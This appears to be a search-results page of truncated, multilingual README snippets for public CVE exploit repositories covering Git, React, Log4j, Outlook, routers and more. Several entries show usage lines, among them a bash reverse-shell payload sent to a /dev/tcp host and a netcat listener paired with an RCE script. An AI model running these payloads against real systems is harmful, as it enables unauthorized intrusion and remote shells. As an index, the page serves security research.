275082 matches found
CVE-2024-32002-git-rce
CVE-2024-32002-git-rce...
cve-2025-55182-react2shell-analysis
CVE-2025-55182 — React2Shell 漏洞分析 概述 本项目对 CVE-2025-55182 React2Shell 进行了技术分析，这是一个影响 React Server Components 的严重远程代码执行漏洞。 本研究的目的是理解该漏洞、分析其根本原因、在受控实验室环境中复现该问题，并研究适当的缓解策略。 本项目从攻击方和防御方两个安全视角来分析该漏洞。 漏洞详情 类别| 详情 ---|--- CVE| CVE-2025-55182 漏洞类型| 远程代码执行 RCE 受影响技术| React Server Components 严重程度| 严重 CVSS 评...
CVE-2022-30190_EXP_PowerPoint
CVE-2022-30190EXPPowerPoint Это эксплойт CVE-2022-30190 для PowerPoint. Измените расширение файла на 'zip' и распакуйте его. Вы можете отредактировать \ppt\slides\rels\slide1.xml.rels и заменить на IP:порт вашего VPS, как показано ниже, затем сожмите их тем же способом и измените расширение на...
CVE-2021-21110
CVE-2021-21110 CVE-2021-21110 : Эксплойт удаленного выполнения кода через серверную инъекцию шаблонов в Tiki Wiki CMS GroupWare...
OHTS
OHTS CVE-2017-8759 | Уязвимость удаленного выполнения кода в .NET Framework 1. Введение Уязвимость удаленного выполнения кода существует, когда Microsoft .NET Framework обрабатывает непроверенные входные данные. Злоумышленник, успешно воспользовавшийся этой уязвимостью в программном обеспечении,...
Laravel-8.4.2-rce-CVE-2021-3129
Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...
EvilSunCheck
Проверка уязвимости EvilSun CVE-2020-14871 Это небольшой скрипт на Python для обнаружения уязвимости «EvilSun» CVE-2020-14871 в системах Solaris. Уязвимость представляет собой переполнение буфера в подключаемом модуле аутентификации PAM pamunixauth при обработке клавиатурно-интерактивной...
CVE-2020-11108-PoC
CVE-2020-11108-PoC В этом репозитории находятся два PoC. cve-2020-11108-rce.py даст вам шелл от имени пользователя www-data. root-cve-2020-11108-rce.py даст вам шелл и повысит привилегии до root. Примечание: это деструктивно, так как мы должны перезаписать teleporter.php. Полное объяснение/отчёт...
CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis
В этом репозитории нет README...
CVE-2021-32305-websvn-2.6.0
CVE-2021-3205-websvn-2.6.0 これは、CVE-2021-3205のエクスプロイトです。search.phpパスにおけるコマンドインジェクションのWeb脆弱性であり、このエクスプロイトによりコマンドを実行できます。 必要条件 optparse, signal, requests 使用方法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ n...
CVE-2019-16278-Nostromo-1.9.6-RCE
CVE-2019-16278-Nostromo-1.9.6-RCE Это эксплойт для CVE-2019-16278 уязвимости Nostromo 1.9.6 RCE. Данный эксплойт позволяет выполнить удаленный код на целевой машине. Требования optparse socat sys Использование Вы можете использовать эксплойт следующим образом: root@kitploit: python3...
CVE-2021-31630
OpenPLC WebServer v3 - Аутентифицированное удаленное выполнение кода CVE-2021-31630 Этот эксплойт основан на эксплойте с Exploit-DB от Fellipe Oliveira. Сначала аутентифицируйтесь Загрузите вредоносный C-файл Скомпилируйте его Запустите ПЛК инициируйте reverse shell Остановите ПЛК нет необходимос...
MOODLE-3.X-Remote-Code-Execution
MOODLE-3.X-Remote-Code-Execution cve-2018-1133: удалённое выполнение кода в Moodle при аутентификации в качестве учителя...
Log4j-_Vulnerability
Веб уязвим к CVE-2021-44228 Это веб-приложение уязвимо к CVE-2021-44228 — критической уязвимости безопасности в Apache Log4j 2, известной как Log4Shell. Данная уязвимость позволяет неаутентифицированному злоумышленнику удалённо выполнять вредоносный код, просто отправив определённые входные данны...
CVE-2023-6019
Внедрение команд ОС Ray RCEбез авторизации Использование: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...
CVE-2022-21661
🛡️ CVE-2022-21661 Proof-of-Concept PoC эксплойт на Python для CVE-2022-21661 — критической уязвимости в WordPress, которая позволяет неавторизованному злоумышленнику проводить атаку через внедрение объектов object injection , что при определённых условиях может привести к удалённому выполнению код...
https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Эксплойт для уязвимости удаленного выполнения кода в Microsoft Outlook 📜 Описание Этот скрипт представляет собой доказательство концепции PoC для CVE-2024-21413, значительной уязвимости безопасности, обнаруженной в Microsoft Outlook с показателем CVSS 9.8. Названная ошибкой...
CVE-2018-4121
CVE-2018-4121 — POC RCE-эксплойт для Safari Wasm Sections от MWR Labs c 2018 Детали этот POC-эксплойт нацелен только на Safari 11.0.3 13604.5.6 на macOS 10.13.3 17D47. скомпилируйте payload по вашему выбору в виде dylib с конструктором запустите python filetojsarray.py your.dylib payload.js...
GPON
RCE на домашних роутерах GPON CVE-2018-10561 Уязвимость Многие роутеры сегодня используют GPON-интернет, и способ обойти всю аутентификацию на устройствах CVE-2018-10561 был найден VPNMentor. С помощью этого обхода аутентификации также можно выявить другую уязвимость внедрения команд CVE-2018-105...